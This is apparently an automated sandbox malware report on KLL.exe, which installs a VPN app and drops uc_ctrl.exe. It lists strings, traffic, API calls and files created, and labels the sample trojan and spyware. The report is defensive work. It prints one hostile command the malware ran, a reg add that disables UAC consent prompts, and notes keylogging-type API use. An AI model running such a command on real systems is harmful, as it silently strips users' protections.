            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://pngimg.com/uploads/light/light_PNG14440.png
            Source: LetsPRO.exe, 00000037.00000002.4188390600.000000000FAF6000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://postPost67.137.174.254
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190738127.000000003053E000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4176957334.0000000005ECB000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4150722261.0000000001957000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.drString found in binary or memory: https://sectigo.com/CPS0
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://widget.intercom.io/widget/
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: https://www.certum.pl/CPS0
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002EA9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.cnblogs.com/kliine/p/10950992.html
            Source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: https://www.newtonsoft.com/jsonschema
            Source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
            Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
            Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
            Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
            Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
            Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
            Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
            Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF79FA0 ?GetClipboardData@COleObject@UiLib@@UAGJKPAPAUIDataObject@@@Z,MessageBoxA,17_2_6CF79FA0
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CFA6945 GetPropW,GlobalLock,SendMessageW,GlobalUnlock,RemovePropW,GlobalFree,GlobalUnlock,GetAsyncKeyState,SendMessageW,17_2_6CFA6945
            Source: C:\Windows\System32\mmc.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
            Source: C:\Windows\System32\mmc.exeWindow created: window name: CLIPBRDWNDCLASS
            Source: LetsPRO.exe, 00000037.00000002.4186386132.000000000F9C8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: GetRawInputDatamemstr_142027e4-2
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF999B8 GetKeyState,GetKeyState,GetKeyState,SendMessageW,17_2_6CF999B8
            Source: Yara matchFile source: 55.2.LetsPRO.exe.67c80000.20.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: Process Memory Space: LetsPRO.exe PID: 7096, type: MEMORYSTR
            Source: Yara matchFile source: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll, type: DROPPED
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\SET522A.tmpJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\driver\tap0901.catJump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\tap0901.cat (copy)Jump to dropped file
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\tap0901.cat (copy)Jump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54BA.tmpJump to dropped file
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess Stats: CPU usage > 49%
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF70090 NtAllocateVirtualMemory,NtAllocateVirtualMemory,LdrLoadDll,17_2_6CF70090
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}
            Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmpJump to behavior
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_662fd96dfdced4ae
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\drvstore.tmp
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\inf\oem4.inf
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET5AF3.tmp
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET5AF3.tmp
            Source: C:\Windows\System32\drvinst.exeFile deleted: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54AA.tmp
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018000CA4C0_2_000000018000CA4C
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00000001800244300_2_0000000180024430
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00000001800057100_2_0000000180005710
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018000F7C00_2_000000018000F7C0
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00000001800230100_2_0000000180023010
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00000001800170C40_2_00000001800170C4
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018001A9880_2_000000018001A988
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00000001800152340_2_0000000180015234
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00000001800192980_2_0000000180019298
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180027AA40_2_0000000180027AA4
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018000B3280_2_000000018000B328
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180009B880_2_0000000180009B88
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018001BB980_2_000000018001BB98
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018001AD380_2_000000018001AD38
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180010D400_2_0000000180010D40
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180017DFC0_2_0000000180017DFC
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018001DE040_2_000000018001DE04
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018001BE0C0_2_000000018001BE0C
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00000001800236340_2_0000000180023634
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018001FF080_2_000000018001FF08
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180025F180_2_0000000180025F18
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018002677C0_2_000000018002677C
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_0010187017_2_00101870
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED1EF417_2_6CED1EF4
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED8EB817_2_6CED8EB8
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED8F2417_2_6CED8F24
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED8F1C17_2_6CED8F1C
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF0985017_2_6CF09850
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED1AE717_2_6CED1AE7
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CEDEA1817_2_6CEDEA18
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED94F817_2_6CED94F8
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED950C17_2_6CED950C
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED562017_2_6CED5620
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED12C417_2_6CED12C4
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CED93E417_2_6CED93E4
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4BE9017_2_6CF4BE90
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF46E8517_2_6CF46E85
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4D66017_2_6CF4D660
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4C7A417_2_6CF4C7A4
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF497A017_2_6CF497A0
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4D00E17_2_6CF4D00E
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4B29017_2_6CF4B290
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4CBD917_2_6CF4CBD9
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4C38C17_2_6CF4C38C
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF7009017_2_6CF70090
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0C494317_2_6D0C4943
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0C820317_2_6D0C8203
            Source: Joe Sandbox ViewDropped File: C:\Program Files (x86)\letsvpn\Update.exe 677C41FDBD8E90CCCB5AD0CA4C9313AAA96337405365E3DD39313EF9B99A93AC
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess token adjusted: Load Driver
            Source: C:\Windows\System32\svchost.exeProcess token adjusted: Security
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6CF0B723 appears 88 times
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6D0C1CD0 appears 35 times
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6D0C14D2 appears 41 times
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6CF89160 appears 3082 times
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6D0C1BBC appears 140 times
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6CF9062D appears 44 times
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6CF0B6EF appears 219 times
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: String function: 6CF0B75A appears 127 times
            Source: System.Globalization.Extensions.dll.20.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: s.0.drStatic PE information: No import functions for PE file found
            Source: s.0.drStatic PE information: Data appended to the last section found
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameQt5Widgets.dll( vs KLL.exe
            Source: KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameQt5Widgets.dll( vs KLL.exe
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
            Source: System.IO.FileSystem.AccessControl.dll.20.dr, FileSystemAclExtensions.csSecurity API names: directoryInfo.GetAccessControl
            Source: System.IO.FileSystem.AccessControl.dll.20.dr, FileSystemAclExtensions.csSecurity API names: fileInfo.SetAccessControl
            Source: System.IO.FileSystem.AccessControl.dll.20.dr, FileSystemAclExtensions.csSecurity API names: fileStream.GetAccessControl
            Source: System.IO.FileSystem.AccessControl.dll.20.dr, FileSystemAclExtensions.csSecurity API names: fileInfo.GetAccessControl
            Source: System.IO.FileSystem.AccessControl.dll.20.dr, FileSystemAclExtensions.csSecurity API names: directoryInfo.SetAccessControl
            Source: System.IO.FileSystem.AccessControl.dll.20.dr, FileSystemAclExtensions.csSecurity API names: fileStream.SetAccessControl
            Source: classification engineClassification label: mal60.spre.troj.spyw.evad.winEXE@101/287@13/11
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180003848 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,_beginthreadex,Sleep,SleepEx,CloseHandle,FindCloseChangeNotification,0_2_0000000180003848
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018002A010 AdjustTokenPrivileges,0_2_000000018002A010
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CEE6CA0 _Statvfs,GetDiskFreeSpaceExW,17_2_6CEE6CA0
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_00103840 CreateToolhelp32Snapshot,Process32FirstW,_wcslwr_s,wcsstr,Process32NextW,17_2_00103840
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018000310C CoInitialize,CoImpersonateClient,CoInitializeSecurity,CLSIDFromProgID,CoCreateInstance,VariantInit,VariantInit,VariantInit,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantClear,CoUninitialize,0_2_000000018000310C
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_00106290 LoadResource,LockResource,SizeofResource,17_2_00106290
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\Users\user\AppData\Roaming\J95KX.batJump to behavior
            Source: C:\Windows\System32\drvinst.exeMutant created: \BaseNamedObjects\DrvInst.exe_mutex_{5B10AC83-4F13-4fde-8C0B-B85681BA8D73}
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7584:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeMutant created: \Sessions\1\BaseNamedObjects\V 4 I
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7376:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6780:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5304:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1020:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6948:120:WilError_03
            Source: C:\Users\user\Desktop\KLL.exeMutant created: \Sessions\1\BaseNamedObjects\V? 5
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7264:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7196:120:WilError_03
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMutant created: NULL
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMutant created: \Sessions\1\BaseNamedObjects\C__Program Files (x86)_letsvpn_app-3.7.0_Log_
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4940:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3584:120:WilError_03
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMutant created: \Sessions\1\BaseNamedObjects\Global\MSDTC_STATS_EVENT
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Users\user\AppData\Local\Temp\nsz765.tmp
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\J95KX.bat"
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: ..\data\skins\17_2_00106C80
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: skin.xml17_2_00106C80
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: SKINDATA17_2_00106C80
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: SkinRes.dll17_2_00106C80
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: uc.ini17_2_00106C80
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: root_data_path17_2_00106C80
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: language17_2_00106C80
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCommand line argument: ..\language\17_2_00106C80
            Source: KLL.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
            Source: C:\Users\user\Desktop\KLL.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp, e_sqlite3.dll0.20.drBinary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
            Source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp, e_sqlite3.dll0.20.drBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
            Source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp, e_sqlite3.dll0.20.drBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
            Source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp, e_sqlite3.dll0.20.drBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
            Source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp, e_sqlite3.dll0.20.drBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
            Source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp, e_sqlite3.dll0.20.drBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
            Source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp, e_sqlite3.dll0.20.drBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
            Source: KLL.exeVirustotal: Detection: 13%
            Source: KLL.exeString found in binary or memory: process-stop
            Source: KLL.exeString found in binary or memory: media-playback-start
            Source: KLL.exeString found in binary or memory: media-playback-stop
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/standardbutton-help-16.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-24.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-24.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/media-stop-32.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/standardbutton-help-32.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/standardbutton-help-128.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-32.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-32.png
            Source: KLL.exeString found in binary or memory: :/qt-project.org/styles/commonstyle/images/media-stop-16.png
            Source: KLL.exeString found in binary or memory: dialog-help-icon
            Source: KLL.exeString found in binary or memory: filedialog-start-icon
            Source: KLL.exeString found in binary or memory: eactivate-on-singleclickalignmentarrow-keys-navigate-into-childrenbackward-iconbutton-layoutcd-iconcombobox-list-mousetrackingcombobox-popupcomputer-icondesktop-icondialog-apply-icondialog-cancel-icondialog-close-icondialog-discard-icondialog-help-icondialog-no-icondialog-ok-icondialog-open-icondialog-reset-icondialog-save-icondialog-yes-icondialogbuttonbox-buttons-have-iconsdirectory-closed-icondirectory-icondirectory-link-icondirectory-open-icondither-disable-textdockwidget-close-icondownarrow-icondvd-iconetch-disabled-textfile-iconfile-link-iconfiledialog-backward-iconfiledialog-contentsview-iconfiledialog-detailedview-iconfiledialog-end-iconfiledialog-infoview-iconfiledialog-listview-iconfiledialog-new-directory-iconfiledialog-parent-directory-iconfiledialog-start-iconfloppy-iconforward-icongridline-colorharddisk-iconhome-iconicon-sizeleftarrow-iconlineedit-password-characterlineedit-password-mask-delaymdi-fill-space-on-maximizemenu-scrollablemenubar-altkey-navigationmenubar-separatormessagebox-critical-iconmessagebox-information-iconmessagebox-question-iconmessagebox-text-interaction-flagsmessagebox-warning-iconmouse-trackingnetwork-iconopacitypaint-alternating-row-colors-for-empty-arearightarrow-iconscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonss